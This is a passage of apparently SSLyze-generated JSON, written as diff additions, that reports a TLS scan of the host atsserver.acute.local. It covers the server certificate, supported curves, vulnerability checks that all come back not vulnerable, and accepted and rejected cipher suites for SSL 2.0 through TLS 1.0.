CERTIFICATE-----\nMIIFiDCCBHCgAwIBAgITMgAAAAPIc8FINNJA7QAAAAAAAzANBgkqhkiG9w0BAQsF\nADBLMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFTATBgoJkiaJk/IsZAEZFgVhY3V0\nZTEbMBkGA1UEAxMSYWN1dGUtQVRTU0VSVkVSLUNBMB4XDTIyMDEwNjA2MzQ1OFoX\nDTMwMDEwNDA2MzQ1OFowIDEeMBwGA1UEAxMVYXRzc2VydmVyLmFjdXRlLmxvY2Fs\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5I83XS+EgKDI6LWJAgkG\nr+UEcm9Fe8lpgi76x9bHi0iuwy6nzIhpIS2wTgUrVyLs0615/jX8/QoG61TvUdRv\nJrK0Pz8mGqr3AaBP/TZ66Ikua2+5e2Ep3AKMatmFKmh2LJOTJHgcCZ0mmbjBYsKV\nnstm4rCmsxnBLSJvzioLvjTKoW7w54L8ytI/3OkU96JWSVEeWVPLarRa5bSJJw23\nYkORTbXGpMS5WS/Ri9ULlyQ05yOduCUVVkf51uUMl1g9qC54BWJK9+Tudrw25I8j\ni/cKcCfrpIg7goJszwskocEFcWvd4M6X5MtLxM0Ym/zDdWHSbO73k6RQznrXSkyI\n+QIDAQABo4ICjjCCAoowPQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIgdLLYoO6\nuH+G7Ycfh6ubRYPxxA8whMqJV4Pi6S4CAWQCAQQwEwYDVR0lBAwwCgYIKwYBBQUH\nAwEwDgYDVR0PAQH/BAQDAgWgMBsGCSsGAQQBgjcVCgQOMAwwCgYIKwYBBQUHAwEw\nHQYDVR0OBBYEFFO05mfmIOSLXSu0oWbxyzgNTwrRMCsGA1UdEQQkMCKCFWF0c3Nl\ncnZlci5hY3V0ZS5sb2NhbIIJYXRzc2VydmVyMB8GA1UdIwQYMBaAFM2FE9nl3pUL\nkFBnuMVdNlldV9FJMIHSBgNVHR8EgcowgccwgcSggcGggb6GgbtsZGFwOi8vL0NO\nPWFjdXRlLUFUU1NFUlZFUi1DQSxDTj1BVFNTRVJWRVIsQ049Q0RQLENOPVB1Ymxp\nYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s\nREM9YWN1dGUsREM9bG9jYWw/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNl\nP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHEBggrBgEFBQcBAQSB\ntzCBtDCBsQYIKwYBBQUHMAKGgaRsZGFwOi8vL0NOPWFjdXRlLUFUU1NFUlZFUi1D\nQSxDTj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMs\nQ049Q29uZmlndXJhdGlvbixEQz1hY3V0ZSxEQz1sb2NhbD9jQUNlcnRpZmljYXRl\nP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG\n9w0BAQsFAAOCAQEAPCYQ8PZWupiFDR5Nr9ai5pyBieTvFUu8iFCs/E9e9dkU7+eN\n24la6d6hAALMyXd64nf1sQhkWCkDc/E8uJU4/jsA+vqQ+jS+Woad7tfEI+S/+UOq\nDPoOGOzj9EVnJVsF1Rfed4Kf83SWhSrYIYJCcwQuOhVtPyXL2UEj7SReP3WmBT52\nNvWZSxcOh6aOd2c/SFnLPLp1QOk1euVzAeUNqCNx2c+hEIb9Wz7CKtbFmDNgBlIX\noDL8qorZFspSU6xn3DpSHqTx9sODQGPBMEDzB8gzQA0VdBHyWlKko1M/uc50taIN\nodyAYPv283lqci8KHFY/kj3aGcx6a/QbJEpiCA==\n-----END CERTIFICATE-----\n", + "fingerprint_sha1": "+VTWdwzzVN8/ou1PeMMZAsEgo2g=", + "fingerprint_sha256": "OtAk01iuk62Cd+LG8jb7XetU195YR0Kl0vgTMWQqk1U=", + "hpkp_pin": "PgyL26XGAvVQ9f2RXab2B79aN/zPcW3pcv//acTZjrw=", + "issuer": { + "attributes": [ + { + "oid": { + "dotted_string": "0.9.2342.19200300.100.1.25", + "name": "domainComponent" + }, + "rfc4514_string": "DC=local", + "value": "local" + }, + { + "oid": { + "dotted_string": "0.9.2342.19200300.100.1.25", + "name": "domainComponent" + }, + "rfc4514_string": "DC=acute", + "value": "acute" + }, + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=acute-ATSSERVER-CA", + "value": "acute-ATSSERVER-CA" + } + ], + "rfc4514_string": "CN=acute-ATSSERVER-CA,DC=acute,DC=local" + }, + "not_valid_after": "2030-01-04T06:34:58", + "not_valid_before": "2022-01-06T06:34:58", + "public_key": { + "algorithm": "_RSAPublicKey", + "ec_curve_name": null, + "ec_x": null, + "ec_y": null, + "key_size": 2048, + "rsa_e": 65537, + "rsa_n": 28852956104992540889679167573122351034256197663607445164798179506252547022732633248988190858660189499264264994131471982066989055801426821019833041414213395342574383250396994040638014087236881185511065397533540854679604217195596071612512270234226360734985292721213972115665484925447515460067846070956517518053396057466460410818494249760181461630646210391043422747633695516065644940955260588977670297371078733212359849258398782994905010226133504218023095464393778941630309427377024594177476782555370167376462972187341535526298683142366247208063894257182416079977959701289298356934965732063195750086107670001873213753593 + }, + "serial_number": 1115037259946173700629708867085234125024526339, + "signature_algorithm_oid": { + "dotted_string": "1.2.840.113549.1.1.11", + "name": "sha256WithRSAEncryption" + }, + "signature_hash_algorithm": { + "digest_size": 32, + "name": "sha256" + }, + "subject": { + "attributes": [ + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=atsserver.acute.local", + "value": "atsserver.acute.local" + } + ], + "rfc4514_string": "CN=atsserver.acute.local" + }, + "subject_alternative_name": { + "dns": [ + "atsserver.acute.local", + "atsserver" + ] + } + } + ], + "received_chain_contains_anchor_certificate": null, + "received_chain_has_valid_order": true, + "verified_certificate_chain": null, + "verified_chain_has_legacy_symantec_anchor": null, + "verified_chain_has_sha1_signature": null + } + ], + "hostname_used_for_server_name_indication": "10.10.10.10" + }, + "status": "COMPLETED" + }, + "elliptic_curves": { + "error_reason": null, + "error_trace": null, + "result": { + "rejected_curves": [ + { + "name": "X448", + "openssl_nid": 1035 + }, + { + "name": "prime192v1", + "openssl_nid": 409 + }, + { + "name": "secp160k1", + "openssl_nid": 708 + }, + { + "name": "secp160r1", + "openssl_nid": 709 + }, + { + "name": "secp160r2", + "openssl_nid": 710 + }, + { + "name": "secp192k1", + "openssl_nid": 711 + }, + { + "name": "secp224k1", + "openssl_nid": 712 + }, + { + "name": "secp224r1", + "openssl_nid": 713 + }, + { + "name": "secp256k1", + "openssl_nid": 714 + }, + { + "name": "secp521r1", + "openssl_nid": 716 + }, + { + "name": "sect163k1", + "openssl_nid": 721 + }, + { + "name": "sect163r1", + "openssl_nid": 722 + }, + { + "name": "sect163r2", + "openssl_nid": 723 + }, + { + "name": "sect193r1", + "openssl_nid": 724 + }, + { + "name": "sect193r2", + "openssl_nid": 725 + }, + { + "name": "sect233k1", + "openssl_nid": 726 + }, + { + "name": "sect233r1", + "openssl_nid": 727 + }, + { + "name": "sect239k1", + "openssl_nid": 728 + }, + { + "name": "sect283k1", + "openssl_nid": 729 + }, + { + "name": "sect283r1", + "openssl_nid": 730 + }, + { + "name": "sect409k1", + "openssl_nid": 731 + }, + { + "name": "sect409r1", + "openssl_nid": 732 + }, + { + "name": "sect571k1", + "openssl_nid": 733 + }, + { + "name": "sect571r1", + "openssl_nid": 734 + } + ], + "supported_curves": [ + { + "name": "X25519", + "openssl_nid": 1034 + }, + { + "name": "prime256v1", + "openssl_nid": 415 + }, + { + "name": "secp384r1", + "openssl_nid": 715 + } + ], + "supports_ecdh_key_exchange": true + }, + "status": "COMPLETED" + }, + "heartbleed": { + "error_reason": null, + "error_trace": null, + "result": { + "is_vulnerable_to_heartbleed": false + }, + "status": "COMPLETED" + }, + "http_headers": { + "error_reason": null, + "error_trace": null, + "result": null, + "status": "NOT_SCHEDULED" + }, + "openssl_ccs_injection": { + "error_reason": null, + "error_trace": null, + "result": { + "is_vulnerable_to_ccs_injection": false + }, + "status": "COMPLETED" + }, + "robot": { + "error_reason": null, + "error_trace": null, + "result": { + "robot_result": "NOT_VULNERABLE_NO_ORACLE" + }, + "status": "COMPLETED" + }, + "session_renegotiation": { + "error_reason": null, + "error_trace": null, + "result": { + "is_vulnerable_to_client_renegotiation_dos": false, + "supports_secure_renegotiation": true + }, + "status": "COMPLETED" + }, + "session_resumption": { + "error_reason": null, + "error_trace": null, + "result": null, + "status": "NOT_SCHEDULED" + }, + "ssl_2_0_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [], + "is_tls_version_supported": false, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "SSL_CK_RC4_128_WITH_MD5", + "openssl_name": "RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "SSL_CK_RC4_128_EXPORT40_WITH_MD5", + "openssl_name": "EXP-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "SSL_CK_RC2_128_CBC_WITH_MD5", + "openssl_name": "RC2-CBC-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5", + "openssl_name": "EXP-RC2-CBC-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "SSL_CK_IDEA_128_CBC_WITH_MD5", + "openssl_name": "IDEA-CBC-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "SSL_CK_DES_64_CBC_WITH_MD5", + "openssl_name": "DES-CBC-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "SSL_CK_DES_192_EDE3_CBC_WITH_MD5", + "openssl_name": "DES-CBC3-MD5" + }, + "error_message": "Server rejected the connection" + } + ], + "tls_version_used": "SSL_2_0" + }, + "status": "COMPLETED" + }, + "ssl_3_0_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [], + "is_tls_version_supported": false, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_SHA", + "openssl_name": "RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_MD5", + "openssl_name": "RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_SHA", + "openssl_name": "NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_MD5", + "openssl_name": "NULL-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_IDEA_CBC_SHA", + "openssl_name": "IDEA-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", + "openssl_name": "EXP-RC2-CBC-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", + "openssl_name": "AECDH-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 0, + "name": "TLS_ECDH_anon_WITH_NULL_SHA", + "openssl_name": "AECDH-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "AECDH-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "AECDH-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "AECDH-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-RSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_RSA_WITH_NULL_SHA", + "openssl_name": "ECDH-RSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-ECDSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDH-ECDSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-RSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-RSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-ECDSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-ECDSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", + "openssl_name": "ADH-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_RC4_128_MD5", + "openssl_name": "ADH-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 56, + "name": "TLS_DH_anon_WITH_DES_CBC_SHA", + "openssl_name": "ADH-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "ADH-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "ADH-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "ADH-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "ADH-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ADH-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-ADH-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-ADH-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DH-RSA-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DH-DSS-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-DSS-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-DSS-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-RSA-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-DSS-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-DSS-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-DSS-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + } + ], + "tls_version_used": "SSL_3_0" + }, + "status": "COMPLETED" + }, + "tls_1_0_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "AES256-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "AES128-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DES-CBC3-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES256-SHA" + }, + "ephemeral_key": { + "curve_name": "secp384r1", + "generator": null, + "prime": null, + "public_bytes": 